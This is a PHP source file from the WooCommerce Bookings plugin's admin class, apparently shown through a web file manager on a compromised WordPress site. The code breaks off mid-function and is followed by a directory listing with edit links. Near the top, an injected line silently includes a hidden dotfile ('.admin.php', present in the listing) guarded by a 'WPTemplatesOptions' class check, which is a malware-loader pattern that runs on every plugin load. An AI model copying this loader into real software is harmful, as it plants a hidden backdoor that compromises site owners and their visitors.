PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
woocommerce-bookings
/
includes
/
admin
<?php if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Booking admin */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class WC_Bookings_Admin { private static $_this; /** * Constructor */ public function __construct() { self::$_this = $this; add_action( 'init', array( $this, 'init' ) ); add_filter( 'post_updated_messages', array( $this, 'post_updated_messages' ) ); add_action( 'admin_init', array( $this, 'init_tabs' ) ); add_action( 'admin_init', array( $this, 'include_post_type_handlers' ) ); add_action( 'admin_init', array( $this, 'include_meta_box_handlers' ) ); add_action( 'admin_init', array( $this, 'redirect_new_add_booking_url' ) ); add_filter( 'product_type_options', array( $this, 'product_type_options' ) ); add_filter( 'product_type_selector' , array( $this, 'product_type_selector' ) ); add_action( 'admin_enqueue_scripts', array( $this, 'styles_and_scripts' ) ); add_action( 'woocommerce_product_options_general_product_data', array( $this, 'booking_data' ) ); add_filter( 'product_type_options', array( $this, 'booking_product_type_options' ) ); add_action( 'load-options-general.php', array( $this, 'reset_ics_exporter_timezone_cache' ) ); add_action( 'woocommerce_after_order_itemmeta', array( $this, 'booking_display' ), 10, 3 ); add_action( 'woocommerce_debug_tools', array( $this, 'bookings_debug_tools' ) ); // Saving data. add_action( 'woocommerce_process_product_meta', array( $this, 'save_product_data' ), 20 ); add_action( 'woocommerce_admin_process_product_object', array( $this, 'set_props' ), 20 ); include( 'class-wc-bookings-menus.php' ); } public function init() { if ( version_compare( WC_VERSION, '3.0', '<' ) ) { add_action( 'woocommerce_duplicate_product', array( $this, 'woocommerce_duplicate_product_pre_wc30' ), 10, 2 ); } else { add_action( 'woocommerce_product_duplicate', array( $this, 'woocommerce_duplicate_product' ), 10, 2 ); } } /** * Bookings debug tools in WooCommerce > Status > Tools. * * @param array $tools */ public function bookings_debug_tools( $tools ) { $bookings_tools = array( 'clean_person_types' => array( 'name' => __( 'Clean unused Person Types from DB', 'woocommerce-bookings' ), 'button' => __( 'Clean Person Types', 'woocommerce-bookings' ), 'desc' => __( 'This tool will clean the person types that are not used by any booking or a product.', 'woocommerce-bookings' ), 'callback' => array( 'WC_Bookings_Tools', 'clean_person_types' ), ), ); return array_merge( $tools, $bookings_tools ); } /** * Save Booking data for the product in 2.6.x. * * @param int $post_id */ public function save_product_data( $post_id ) { if ( version_compare( WC_VERSION, '3.0', '>=' ) || 'booking' !== sanitize_title( stripslashes( $_POST['product-type'] ) ) ) { return; } $product = new WC_Product_Booking( $post_id ); $this->set_props( $product ); $product->save(); } /** * Get posted availability fields and format. * * @return array */ private function get_posted_availability() { $availability = array(); $row_size = isset( $_POST['wc_booking_availability_type'] ) ? sizeof( $_POST['wc_booking_availability_type'] ) : 0; for ( $i = 0; $i < $row_size; $i ++ ) { $availability[ $i ]['type'] = wc_clean( $_POST['wc_booking_availability_type'][ $i ] ); $availability[ $i ]['bookable'] = wc_clean( $_POST['wc_booking_availability_bookable'][ $i ] ); $availability[ $i ]['priority'] = intval( $_POST['wc_booking_availability_priority'][ $i ] ); switch ( $availability[ $i ]['type'] ) { case 'custom': $availability[ $i ]['from'] = wc_clean( $_POST['wc_booking_availability_from_date'][ $i ] ); $availability[ $i ]['to'] = wc_clean( $_POST['wc_booking_availability_to_date'][ $i ] ); break; case 'months': $availability[ $i ]['from'] = wc_clean( $_POST['wc_booking_availability_from_month'][ $i ] ); $availability[ $i ]['to'] = wc_clean( $_POST['wc_booking_availability_to_month'][ $i ] ); break; case 'weeks': $availability[ $i ]['from'] = wc_clean( $_POST['wc_booking_availability_from_week'][ $i ] ); $availability[ $i ]['to'] = wc_clean( $_POST['wc_booking_availability_to_week'][ $i ] ); break; case 'days': $availability[ $i ]['from'] = wc_clean( $_POST['wc_booking_availability_from_day_of_week'][ $i ] ); $availability[ $i ]['to'] = wc_clean( $_POST['wc_booking_availability_to_day_of_week'][ $i ] ); break; case 'time': case 'time:1': case 'time:2': case 'time:3': case 'time:4': case 'time:5': case 'time:6': case 'time:7': $availability[ $i ]['from'] = wc_booking_sanitize_time( $_POST['wc_booking_availability_from_time'][ $i ] ); $availability[ $i ]['to'] = wc_booking_sanitize_time( $_POST['wc_booking_availability_to_time'][ $i ] ); break; case 'time:range': $availability[ $i ]['from'] = wc_booking_sanitize_time( $_POST['wc_booking_availability_from_time'][ $i ] ); $availability[ $i ]['to'] = wc_booking_sanitize_time( $_POST['wc_booking_availability_to_time'][ $i ] ); $availability[ $i ]['from_date'] = wc_clean( $_POST['wc_booking_availability_from_date'][ $i ] ); $availability[ $i ]['to_date'] = wc_clean( $_POST['wc_booking_availability_to_date'][ $i ] ); break; } } return $availability; } /** * Get posted pricing fields and format. * * @return array */ private function get_posted_pricing() { $pricing = array(); $row_size = isset( $_POST['wc_booking_pricing_type'] ) ? sizeof( $_POST['wc_booking_pricing_type'] ) : 0; for ( $i = 0; $i < $row_size; $i ++ ) { $pricing[ $i ]['type'] = wc_clean( $_POST['wc_booking_pricing_type'][ $i ] ); $pricing[ $i ]['cost'] = wc_clean( $_POST['wc_booking_pricing_cost'][ $i ] ); $pricing[ $i ]['modifier'] = wc_clean( $_POST['wc_booking_pricing_cost_modifier'][ $i ] ); $pricing[ $i ]['base_cost'] = wc_clean( $_POST['wc_booking_pricing_base_cost'][ $i ] ); $pricing[ $i ]['base_modifier'] = wc_clean( $_POST['wc_booking_pricing_base_cost_modifier'][ $i ] ); switch ( $pricing[ $i ]['type'] ) { case 'custom': $pricing[ $i ]['from'] = wc_clean( $_POST['wc_booking_pricing_from_date'][ $i ] ); $pricing[ $i ]['to'] = wc_clean( $_POST['wc_booking_pricing_to_date'][ $i ] ); break; case 'months': $pricing[ $i ]['from'] = wc_clean( $_POST['wc_booking_pricing_from_month'][ $i ] ); $pricing[ $i ]['to'] = wc_clean( $_POST['wc_booking_pricing_to_month'][ $i ] ); break; case 'weeks': $pricing[ $i ]['from'] = wc_clean( $_POST['wc_booking_pricing_from_week'][ $i ] ); $pricing[ $i ]['to'] = wc_clean( $_POST['wc_booking_pricing_to_week'][ $i ] ); break; case 'days': $pricing[ $i ]['from'] = wc_clean( $_POST['wc_booking_pricing_from_day_of_week'][ $i ] ); $pricing[ $i ]['to'] = wc_clean( $_POST['wc_booking_pricing_to_day_of_week'][ $i ] ); break; case 'time': case 'time:1': case 'time:2': case 'time:3': case 'time:4': case 'time:5': case 'time:6': case 'time:7': $pricing[ $i ]['from'] = wc_booking_sanitize_time( $_POST['wc_booking_pricing_from_time'][ $i ] ); $pricing[ $i ]['to'] = wc_booking_sanitize_time( $_POST['wc_booking_pricing_to_time'][ $i ] ); break; case 'time:range': $pricing[ $i ]['from'] = wc_booking_sanitize_time( $_POST['wc_booking_pricing_from_time'][ $i ] ); $pricing[ $i ]['to'] = wc_booking_sanitize_time( $_POST['wc_booking_pricing_to_time'][ $i ] ); $pricing[ $i ]['from_date'] = wc_clean( $_POST['wc_booking_pricing_from_date'][ $i ] ); $pricing[ $i ]['to_date'] = wc_clean( $_POST['wc_booking_pricing_to_date'][ $i ] ); break; default: $pricing[ $i ]['from'] = wc_clean( $_POST['wc_booking_pricing_from'][ $i ] ); $pricing[ $i ]['to'] = wc_clean( $_POST['wc_booking_pricing_to'][ $i ] ); break; } } return $pricing; } /** * Get posted person types. * * @return array */ private function get_posted_person_types( $product ) { $person_types = array(); if ( isset( $_POST['person_id'] ) && isset( $_POST['_wc_booking_has_persons'] ) ) { $person_ids = $_POST['person_id']; $person_menu_order = $_POST['person_menu_order']; $person_name = $_POST['person_name']; $person_cost = $_POST['person_cost']; $person_block_cost = $_POST['person_block_cost']; $person_description = $_POST['person_description']; $person_min = $_POST['person_min']; $person_max = $_POST['person_max']; $max_loop = max( array_keys( $_POST['person_id'] ) ); for ( $i = 0; $i <= $max_loop; $i ++ ) { if ( ! isset( $person_ids[ $i ] ) ) { continue; } $person_id = absint( $person_ids[ $i ] ); $person_type = new WC_Product_Booking_Person_Type( $person_id ); $person_type->set_props( array( 'name' => wc_clean( stripslashes( $person_name[ $i ] ) ), 'description' => wc_clean( stripslashes( $person_description[ $i ] ) ), 'sort_order' => absint( $person_menu_order[ $i ] ), 'cost' => wc_clean( $person_cost[ $i ] ), 'block_cost' => wc_clean( $person_block_cost[ $i ] ), 'min' => wc_clean( $person_min[ $i ] ), 'max' => wc_clean( $person_max[ $i ] ), 'parent_id' => $product->get_id(), ) ); $person_types[] = $person_type; } } return $person_types; } /** * Get posted resources. Resources are global, but booking products store information about the relationship. * * @return array */ private function get_posted_resources( $product ) { $resources = array(); if ( isset( $_POST['resource_id'] ) && isset( $_POST['_wc_booking_has_resources'] ) ) { $resource_ids = $_POST['resource_id']; $resource_menu_order = $_POST['resource_menu_order']; $resource_base_cost = $_POST['resource_cost']; $resource_block_cost = $_POST['resource_block_cost']; $max_loop = max( array_keys( $_POST['resource_id'] ) ); $resource_base_costs = array(); $resource_block_costs = array(); foreach ( $resource_menu_order as $key => $value ) { $resources[ absint( $resource_ids[ $key ] ) ] = array( 'base_cost' => wc_clean( $resource_base_cost[ $key ] ), 'block_cost' => wc_clean( $resource_block_cost[ $key ] ), ); } } return $resources; } /** * Set data in 3.0.x * * @version 1.10.7 * @param WC_Product $product */ public function set_props( $product ) { // Only set props if the product is a bookable product. if ( ! is_a( $product, 'WC_Product_Booking' ) ) { return; } $resources = $this->get_posted_resources( $product ); $product->set_props( array( 'apply_adjacent_buffer' => isset( $_POST['_wc_booking_apply_adjacent_buffer'] ), 'availability' => $this->get_posted_availability(), 'block_cost' => wc_clean( $_POST['_wc_booking_block_cost'] ), 'buffer_period' => wc_clean( $_POST['_wc_booking_buffer_period'] ), 'calendar_display_mode' => wc_clean( $_POST['_wc_booking_calendar_display_mode'] ), 'cancel_limit_unit' => wc_clean( $_POST['_wc_booking_cancel_limit_unit'] ), 'cancel_limit' => wc_clean( $_POST['_wc_booking_cancel_limit'] ), 'check_start_block_only' => 'start' === $_POST['_wc_booking_check_availability_against'], 'cost' => wc_clean( $_POST['_wc_booking_cost'] ), 'default_date_availability' => wc_clean( $_POST['_wc_booking_default_date_availability'] ), 'display_cost' => wc_clean( $_POST['_wc_display_cost'] ), 'duration_type' => wc_clean( $_POST['_wc_booking_duration_type'] ), 'duration_unit' => wc_clean( $_POST['_wc_booking_duration_unit'] ), 'duration' => wc_clean( $_POST['_wc_booking_duration'] ), 'enable_range_picker' => isset( $_POST['_wc_booking_enable_range_picker'] ), 'first_block_time' => wc_clean( $_POST['_wc_booking_first_block_time'] ), 'has_person_cost_multiplier' => isset( $_POST['_wc_booking_person_cost_multiplier'] ), 'has_person_qty_multiplier' => isset( $_POST['_wc_booking_person_qty_multiplier'] ), 'has_person_types' => isset( $_POST['_wc_booking_has_person_types'] ), 'has_persons' => isset( $_POST['_wc_booking_has_persons'] ), 'has_resources' => isset( $_POST['_wc_booking_has_resources'] ), 'has_restricted_days' => isset( $_POST['_wc_booking_has_restricted_days'] ), 'max_date_unit' => wc_clean( $_POST['_wc_booking_max_date_unit'] ), 'max_date_value' => wc_clean( $_POST['_wc_booking_max_date'] ), 'max_duration' => wc_clean( $_POST['_wc_booking_max_duration'] ), 'max_persons' => wc_clean( $_POST['_wc_booking_max_persons_group'] ), 'min_date_unit' => wc_clean( $_POST['_wc_booking_min_date_unit'] ), 'min_date_value' => wc_clean( $_POST['_wc_booking_min_date'] ), 'min_duration' => wc_clean( $_POST['_wc_booking_min_duration'] ), 'min_persons' => wc_clean( $_POST['_wc_booking_min_persons_group'] ), 'person_types' => $this->get_posted_person_types( $product ), 'pricing' => $this->get_posted_pricing(), 'qty' => wc_clean( $_POST['_wc_booking_qty'] ), 'requires_confirmation' => isset( $_POST['_wc_booking_requires_confirmation'] ), 'resource_label' => wc_clean( $_POST['_wc_booking_resource_label'] ), 'resource_base_costs' => wp_list_pluck( $resources, 'base_cost' ), 'resource_block_costs' => wp_list_pluck( $resources, 'block_cost' ), 'resource_ids' => array_keys( $resources ), 'resources_assignment' => wc_clean( $_POST['_wc_booking_resources_assignment'] ), 'restricted_days' => isset( $_POST['_wc_booking_restricted_days'] ) ? wc_clean( $_POST['_wc_booking_restricted_days'] ) : '', 'user_can_cancel' => isset( $_POST['_wc_booking_user_can_cancel'] ), ) ); } /** * Init product edit tabs. */ public function init_tabs() { if ( version_compare( WC_VERSION, '2.6', '<' ) ) { add_action( 'woocommerce_product_write_panel_tabs', array( $this, 'add_tab' ), 5 ); add_action( 'woocommerce_product_write_panels', array( $this, 'booking_panels' ) ); } else { add_filter( 'woocommerce_product_data_tabs', array( $this, 'register_tab' ) ); add_action( 'woocommerce_product_data_panels', array( $this, 'booking_panels' ) ); } } /** * Add tabs to WC 2.6+ * * @param array $tabs * @return array */ public function register_tab( $tabs ) { $tabs['bookings_resources'] = array( 'label' => __( 'Resources', 'woocommerce-bookings' ), 'target' => 'bookings_resources', 'class' => array( 'show_if_booking', ), ); $tabs['bookings_availability'] = array( 'label' => __( 'Availability', 'woocommerce-bookings' ), 'target' => 'bookings_availability', 'class' => array( 'show_if_booking', ), ); $tabs['bookings_pricing'] = array( 'label' => __( 'Costs', 'woocommerce-bookings' ), 'target' => 'bookings_pricing', 'class' => array( 'show_if_booking', ), ); $tabs['bookings_persons'] = array( 'label' => __( 'Persons', 'woocommerce-bookings' ), 'target' => 'bookings_persons', 'class' => array( 'show_if_booking', ), ); return $tabs; } /** * Public access to instance object * * @return object */ public static function get_instance() { return self::$_this; } /** * Duplicate a post. * * @param int $new_post_id Duplicated product ID. * @param WP_Post $post Original product post. */ public function woocommerce_duplicate_product_pre_wc_30( $new_post_id, $post ) { $product = wc_get_product( $post->ID ); if ( $product->is_type( 'booking' ) ) { global $wpdb; // Duplicate relationships $relationships = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}wc_booking_relationships WHERE product_id = %d;", $post->ID ), ARRAY_A ); foreach ( $relationships as $relationship
[+]
..
[+]
views
[-] class-wc-bookings-save-meta-box.php
[edit]
[-] class-wc-bookings-tools.php
[edit]
[-] class-wc-bookable-resource-details-meta-box.php
[edit]
[-] class-wc-bookings-addons.php
[edit]
[-] class-wc-bookable-resource-cpt.php
[edit]
[-] class-wc-bookings-calendar.php
[edit]
[-] class-wc-bookings-admin.php
[edit]
[-] class-wc-bookings-meta-boxes.php
[edit]
[-] class-wc-bookings-report-dashboard.php
[edit]
[-] class-wc-bookings-products-import.php
[edit]
[-] .admin.php
[edit]
[-] class-wc-bookings-cpt.php
[edit]
[-] class-wc-bookings-details-meta-box.php
[edit]
[-] class-wc-bookings-customer-meta-box.php
[edit]
[-] class-wc-bookings-products-export.php
[edit]
[-] class-wc-bookings-menus.php
[edit]
[-] class-wc-bookings-create.php
[edit]
[-] class-wc-bookings-ajax.php
[edit]